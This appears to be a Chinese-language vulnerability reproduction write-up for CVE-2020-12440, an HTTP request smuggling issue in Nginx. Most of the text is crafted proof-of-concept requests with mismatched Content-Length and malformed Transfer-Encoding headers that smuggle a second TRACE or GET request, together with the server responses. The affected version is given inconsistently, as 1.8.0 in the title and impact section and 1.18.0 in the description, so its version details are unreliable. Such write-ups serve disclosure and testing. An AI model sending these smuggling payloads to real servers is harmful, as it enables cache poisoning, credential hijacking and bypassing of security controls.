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（CVE-2020-12440）Nginx \<= 1.8.0 请求走私

一、漏洞简介

Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒，劫持凭证或绕过安全保护。

二、漏洞影响

Nginx \<= 1.8.0

三、复现过程

1589967192.jpg

Request

GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

Response

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

&lt;html&gt;&lt;h1&gt;Test Page!&lt;/h1&gt;&lt;/html&gt;
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

其他例子

Request（200 OK + 405 Method Not Allowed）

GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked


46
TRACE / HTTP/1.1
Host:www.0-sec.org
Content-Length:15


kk
0s

Response（200 OK + 405 Method Not Allowed）

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Welcome to nginx!&lt;/title&gt;
&lt;style&gt;
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;Welcome to nginx!&lt;/h1&gt;
&lt;p&gt;If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.&lt;/p&gt;

&lt;p&gt;For online documentation and support please refer to
&lt;a href="http://nginx.org/"&gt;nginx.org&lt;/a&gt;.&lt;br /&gt;
Commercial support is available at
&lt;a href="http://nginx.com/"&gt;nginx.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thank you for using nginx.&lt;/em&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
HTTP/1.1 405 Not Allowed
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 157
Connection: close


&lt;html&gt;
&lt;head&gt;&lt;title&gt;405 Not Allowed&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;center&gt;&lt;h1&gt;405 Not Allowed&lt;/h1&gt;&lt;/center&gt;
&lt;hr&gt;&lt;center&gt;nginx/1.18.0&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;

Request（200 OK + 404 Not Found）

GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host:www.0-sec.org
Content-Length:15

kk
0s

Response（200 OK + 404 Not Found）

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Welcome to nginx!&lt;/title&gt;
&lt;style&gt;
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;Welcome to nginx!&lt;/h1&gt;
&lt;p&gt;If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.&lt;/p&gt;

&lt;p&gt;For online documentation and support please refer to
&lt;a href="http://nginx.org/"&gt;nginx.org&lt;/a&gt;.&lt;br /&gt;
Commercial support is available at
&lt;a href="http://nginx.com/"&gt;nginx.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thank you for using nginx.&lt;/em&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive


&lt;html&gt;
&lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;center&gt;&lt;h1&gt;404 Not Found&lt;/h1&gt;&lt;/center&gt;
&lt;hr&gt;&lt;center&gt;nginx/1.18.0&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;